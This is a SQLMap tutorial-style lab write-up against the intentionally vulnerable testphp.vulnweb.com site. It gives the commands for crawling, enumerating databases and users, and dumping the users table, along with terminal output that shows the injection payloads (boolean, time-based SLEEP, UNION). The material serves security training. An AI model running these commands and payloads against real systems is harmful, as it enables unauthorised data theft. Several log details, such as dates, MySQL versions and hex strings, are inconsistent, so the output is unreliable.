

SQLMAP

Step -1 Purpose and Usage of SQLMap:

- SQLMap is a tool used for detecting and exploiting SQL injection vulnerabilities in web applications.
- It automates the process of identifying and exploiting SQL injection flaws, making it easier for penetration testers to assess the security of web applications.

Step -2 Installation of SQLMap:

- SQLMap is written in Python and can be easily installed on most operating systems.
- You can install SQLMap by cloning its GitHub repository or by using package managers like apt (for Debian-based systems) or yum (for Red Hat-based systems).
- For example, on Debian-based systems, you can install SQLMap using the following command:

sudo apt-get install sqlmap

Step -3 Identifying a Vulnerable Web Application:

- You can use intentionally vulnerable web applications like DVWA (Damn Vulnerable Web Application) or WebGoat for practicing SQL injection attacks.
- Install and set up DVWA on your local machine or use online platforms like OWASP Juice Shop.

Step -4 Performing a Basic SQL Injection Attack:

- Use SQLMap to perform a basic SQL injection attack against the chosen target.
- Example command: **sqlmap -u "http://target.com/page.php?id=1" --dbs**
- This command will identify the databases present in the target application by exploiting the SQL injection vulnerability.

Step -5 Documenting the Steps:

- Document the commands you used, the responses you received, and any observations you made during the attack.
- Describe the potential impact of SQL injection vulnerabilities and suggest mitigation strategies.

PROCESS:

- **Syntax:** `<sqlmap -u --crawl=2>`
- `Sqlmap -u http://testphp.vulnweb.com/ --crawl=2`
- Use `--batch` command for automatic response to yes/no questions while executing the commands

```

root@kali:~/home/venkatesh

File Actions Edit View Help

└─venkatesh@kali)~)
└─└─sudo su
[sudo] password for venkatesh:
└─└─(root@kali)~:/home/venkatesh)
└─└─sqlmap -u http://testphp.vulnweb.com/ --crawl=2

[1.8.24stable]
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:53:21 /2024-03-10/

do you want to check for the existence of site's sitemap.xml) [Y/N] Y
[09:53:27] [WARNING] 'sitemap.xml' not found
[09:53:27] [INFO] starting crawler for target URL 'http://testphp.vulnweb.com/'
[09:53:27] [INFO] searching for links with depth 1
[09:53:27] [INFO] searching for links with depth 2
please enter number of threads? [Enter for 1 (current)] 1
[09:53:29] [WARNING] running in a single-thread mode. This could take a while
[09:53:31] [INFO] 6/13 links visited (46%)
got a 302 redirect to 'http://testphp.vulnweb.com/login.php'. Do you want to follow? [Y/n] Y
do you want to normalize crawling results [Y/n] Y
do you want to store crawling results to a temporary file for eventual further processing with other tools [Y/N] Y
[09:53:44] [INFO] writing crawling results to a temporary file '/tmp/sqlmapb299ce4f11658/sqlmapcrawler-7hpc72jh.txt'
[09:53:44] [INFO] found a total of 5 targets
[1/5] URL:
GET http://testphp.vulnweb.com/artists.php?artist=1
do you want to test this URL? [Y/n/q]
> Y
[09:53:47] [INFO] testing URL 'http://testphp.vulnweb.com/artists.php?artist=1'
[09:53:47] [INFO] using '/root/.local/share/sqlmap/output/results-03102024_0953am.csv' as the CSV results file in multiple targets mode
[09:53:47] [INFO] testing connection to the target URL
[09:53:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:53:47] [INFO] testing if the target URL content is stable
[09:53:48] [INFO] target URL content is stable
[09:53:48] [INFO] testing if GET parameter 'artist' is dynamic
[09:53:48] [INFO] GET parameter 'artist' appears to be dynamic
[09:53:48] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')
[09:53:49] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[09:54:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:54:21] [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --strings='Sed')
[09:54:21] [INFO] testing 'generic inline queries'
[09:54:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[09:54:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[09:54:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'

```

```
root@kali: /home/venkatesh

[09:54:21] [INFO] testing 'MySQL >= 5.3 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[09:54:21] [INFO] testing 'MySQL >= 5.3 OR error-based - WHERE or HAVING clause (EXP)'
[09:54:21] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[09:54:21] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[09:54:22] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[09:54:22] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[09:54:24] [INFO] testing 'MySQL >= 5.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[09:54:24] [INFO] testing 'MySQL >= 5.8 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[09:54:25] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:54:26] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:54:26] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[09:54:26] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[09:54:27] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[09:54:28] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[09:54:28] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[09:54:29] [INFO] testing 'MySQL >= 5.3 error-based - Parameter replace (BIGINT UNSIGNED)'
[09:54:29] [INFO] testing 'MySQL >= 5.3 error-based - Parameter replace (EXP)'
[09:54:29] [INFO] testing 'MySQL >= 5.8 error-based - Parameter replace (GTID_SUBSET)'
[09:54:29] [INFO] testing 'MySQL >= 5.8 error-based - Parameter replace (JSON_KEYS)'
[09:54:30] [INFO] testing 'MySQL >= 5.8 error-based - Parameter replace (FLOOR)'
[09:54:30] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[09:54:31] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[09:54:31] [INFO] testing 'MySQL inline queries'
[09:54:32] [INFO] testing 'MySQL >= 5.8.12 stacked queries (comment)'
[09:54:32] [INFO] testing 'MySQL >= 5.8.12 stacked queries'
[09:54:32] [INFO] testing 'MySQL >= 5.8.12 stacked queries (query SLEEP - comment)'
[09:54:33] [INFO] testing 'MySQL >= 5.8.12 stacked queries (query SLEEP)'
[09:54:33] [INFO] testing 'MySQL < 5.8.12 stacked queries (BENCHMARK - comment)'
[09:54:33] [INFO] testing 'MySQL < 5.8.12 stacked queries (BENCHMARK)'
[09:54:34] [INFO] testing 'MySQL >= 5.8.12 AND time-based blind (query SLEEP)'
[09:54:40] [INFO] GET parameter 'artist' appears to be 'MySQL >= 5.8.12 AND time-based blind (query SLEEP)' injectable
[09:54:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:54:40] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:54:41] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically ex
tending the range for current UNION query injection technique test
[09:54:41] [INFO] target URL appears to have 3 columns in query
[09:54:42] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[09:54:42] [INFO] GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 56 HTTP(s) requests:

Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 3011=3011

Type: time-based blind
Title: MySQL >= 5.8.12 AND time-based blind (query SLEEP)
Payload: artist=1 AND (SELECT 1661 FROM (SELECT(SLEEP(5))))\NGN

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
```

```
root@kali: /home/venkatesh

[09:54:39] [INFO] testing 'MySQL >= 5.8 error-based - Parameter replace (GTID_SUBSET)'
[09:54:39] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[09:54:39] [INFO] testing 'MySQL >= 5.8 error-based - Parameter replace (FLOOR)'
[09:54:39] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[09:54:39] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[09:54:39] [INFO] testing 'MySQL inline queries'
[09:54:39] [INFO] testing 'MySQL >= 5.8.12 stacked queries (comment)'
[09:54:39] [INFO] testing 'MySQL >= 5.8.12 stacked queries'
[09:54:39] [INFO] testing 'MySQL >= 5.8.12 stacked queries (query SLEEP - comment)'
[09:54:39] [INFO] testing 'MySQL >= 5.8.12 stacked queries (query SLEEP)'
[09:54:39] [INFO] testing 'MySQL < 5.8.12 stacked queries (BENCHMARK)'
[09:54:39] [INFO] testing 'MySQL < 5.8.12 stacked queries (BENCHMARK - comment)'
[09:54:39] [INFO] testing 'MySQL >= 5.8.12 AND time-based blind (query SLEEP)'
[09:54:40] [INFO] GET parameter 'artist' appears to be 'MySQL >= 5.8.12 AND time-based blind (query SLEEP)' injectable
[09:54:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:54:40] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:54:41] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically ex
tending the range for current UNION query injection technique test
[09:54:41] [INFO] target URL appears to have 3 columns in query
[09:54:41] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[09:54:41] [INFO] GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 56 HTTP(s) requests:

Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 3011=3011

Type: time-based blind
Title: MySQL >= 5.8.12 AND time-based blind (query SLEEP)
Payload: artist=1 AND (SELECT 1661 FROM (SELECT(SLEEP(5))))\NGN

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-a2b5 UNION ALL SELECT CONCAT(0x7162717871,0xf6e6a6a6b794171674461584e537478565148524a68f4a74755a4f694957778864e4c7aa87353,0x717a6a6
a71),NULL,NULL--

do you want to exploit this SQL injection? [y/N] Y
[09:55:11] [INFO] the back-end DBMS is MySQL
web application technology: nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.8.12
SQL injection vulnerability has already been detected against 'testphp.vulnweb.com'. Do you want to skip further tests involving it? [y/N] Y
[09:55:11] [INFO] skipping 'http://testphp.vulnweb.com/comment.php?cat=1'
[09:55:11] [INFO] skipping 'http://testphp.vulnweb.com/ppp/ppp-12'
[09:55:11] [INFO] skipping 'http://testphp.vulnweb.com/showpage.php?file='
[09:55:11] [INFO] skipping 'http://testphp.vulnweb.com/listproducts.php?cat=1'
[09:55:11] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-03182024_0953am.c
sv'

[*] ending @ 09:56:49 / 2024-03-18/
```

From the sql injection we got:

- testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
- testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
- testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
- testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'

- testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
- testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
- testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
- testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
- testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
- testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
- testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
- testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
- testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
- testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
- testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
- testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
- testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
- testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
- testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
- testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
- testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
- testing 'MySQL inline queries'
- testing 'MySQL >= 5.0.12 stacked queries (comment)'
- testing 'MySQL >= 5.0.12 stacked queries'
- testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
- testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'

- testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
- testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
- testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

Results are saved in this location:

'/root/.local/share/sqlmap/output/results-03102024_0953am.csv'

Use following command to find the database:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

```

root@kali: /home/venkatesh
root@kali: /home/venkatesh
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs -batch

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:58:02 /2024-03-10/

[09:58:02] [INFO] resuming back-end DBMS 'mysql'
[09:58:02] [INFO] testing connection to the target URL
[09:58:02] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based Blind - WHERE or HAVING clause
Payload: artist=1 AND 3011=3011

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based Blind (query SLEEP)
Payload: artist=1 AND (SELECT 1661 FROM (SELECT(SLEEP(5))))1661

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-0285 UNION ALL SELECT CONCAT(0x7162717871,0x6fa6a4b794171674461584e537478565148524a6864f4a74755a4f69495577786d4e4c7a487353,0x717a6a6a71),NULL,NULL-- --

[09:58:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, nginx 1.19.0
back-end DBMS: MySQL > 5.0.12
[09:58:02] [INFO] fetching database names
[09:58:02] [WARNING] the SQL query provided does not return any output
[09:58:02] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[09:58:02] [INFO] fetching number of databases
[09:58:02] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:58:02] [INFO] retrieved:
[09:58:02] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[09:58:02] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay response (option '--time-sec')? [Y/n] Y
2
[09:58:16] [INFO] retrieved: information
0

```

Use following command to find current user, host name,database:

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db --hostname

```

root@kali: /home/venkatesh
root@kali: /home/venkatesh
back-end DBMS: MySQL > 5.6
[10:01:26] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 10:01:56 /2024-03-10/

venkatesh@kali: /home/venkatesh$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db --hostname

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:05:13 /2024-03-10/

[10:05:13] [INFO] resuming back-end DBMS 'mysql'
[10:05:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based Blind - WHERE or HAVING clause
Payload: artist=1 AND 3011=3011

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based Blind (query SLEEP)
Payload: artist=1 AND (SELECT 1661 FROM (SELECT(SLEEP(5))))1661

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-0285 UNION ALL SELECT CONCAT(0x7162717871,0x6fa6a4b794171674461584e537478565148524a6864f4a74755a4f69495577786d4e4c7a487353,0x717a6a6a71),NULL,NULL-- --

[10:05:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL > 5.0.12
[10:05:14] [INFO] fetching current user
current user: 'acuart@localhost'
[10:05:14] [INFO] fetching current database
current database: 'acuart'
[10:05:14] [INFO] fetching server hostname
hostname: 'ip-10-0-0-222'
[10:05:15] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 10:05:15 /2024-03-10/

venkatesh@kali: /home/venkatesh$

```

Use following command to dictionary attack:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --dump

```
root@kali: /home/vulnhack
[+] sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --dump

[+] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:22:24 /2024-03-10/
[10:22:40] [CRITICAL] host 'ser' does not exist
[*] ending @ 10:22:40 /2024-03-10/

root@kali: /home/vulnhack
[+] sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --dump

[+] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:23:52 /2024-03-10/
[10:23:52] [INFO] resuming back-end DBMS 'mysql'
[10:23:52] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 3071=3071

Type: error-based
Title: MySQL > 3.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71a7a771,(SELECT (ELT(9999=9999,1))),0x71717171),9999)

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 3895 FROM (SELECT(SLEEP(5)))sooy)
```

Here are the resultant table:

```
root@kali: /home/vulnhack
[10:24:13] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:24:14] [INFO] starting 2 processes
[10:24:20] [INFO] using suffix '1'
[10:24:30] [INFO] using suffix '123'
[10:24:50] [INFO] using suffix '2'
[10:25:00] [INFO] using suffix '12'
[10:25:11] [INFO] using suffix '3'
[10:25:24] [INFO] using suffix '33'
[10:25:47] [INFO] using suffix '77'
[10:26:00] [INFO] using suffix '11'
[10:26:11] [INFO] using suffix '55'
[10:26:24] [INFO] using suffix '22'
[10:26:30] [INFO] using suffix '22'
[10:26:47] [INFO] using suffix '81'
[10:26:59] [INFO] using suffix '4'
[10:27:11] [INFO] using suffix '87'
[10:27:23] [INFO] using suffix '21'
[10:27:24] [INFO] using suffix '14'
[10:27:40] [INFO] using suffix '10'
[10:27:52] [INFO] using suffix '80'
[10:28:09] [INFO] using suffix '80'
[10:28:20] [INFO] using suffix '4'
[10:28:32] [INFO] using suffix '15'
[10:28:44] [INFO] using suffix '60'
[10:28:50] [INFO] using suffix '10'
[10:29:07] [INFO] using suffix '6'
[10:29:10] [INFO] using suffix '18'
[10:29:20] [INFO] using suffix '1'
[10:29:41] [INFO] using suffix '.'
[10:29:52] [INFO] using suffix '+'
[10:30:06] [INFO] using suffix '!'
[10:30:10] [INFO] using suffix '?'
[10:30:11] [INFO] using suffix '!'
[10:30:43] [INFO] using suffix '-'
[10:30:53] [INFO] using suffix '!'
[10:31:07] [INFO] using suffix '-'
[10:31:21] [INFO] using suffix '0'
[10:31:30] [WARNING] no clear password(s) found
Database: acuart
Table: users
1 entry
+----+-----+-----+-----+-----+-----+
| cc | cart | pass | email | phone | uname | name | address |
+----+-----+-----+-----+-----+-----+
| 1121123 | e4a2f4f2a3be995e8ef38fddc72e31d | test | email@email.com | 6543432 | test | enql | 21 (SELECT CONCAT(0x71766b7871,(ELT(7989=7989,1))),0x717a6a6271)) |
+----+-----+-----+-----+-----+-----+

[10:31:30] [INFO] table 'acuart.users' dumped to CSV file: '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[10:31:30] [INFO] fetched data logged to text files under: '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 10:31:30 /2024-03-10/
```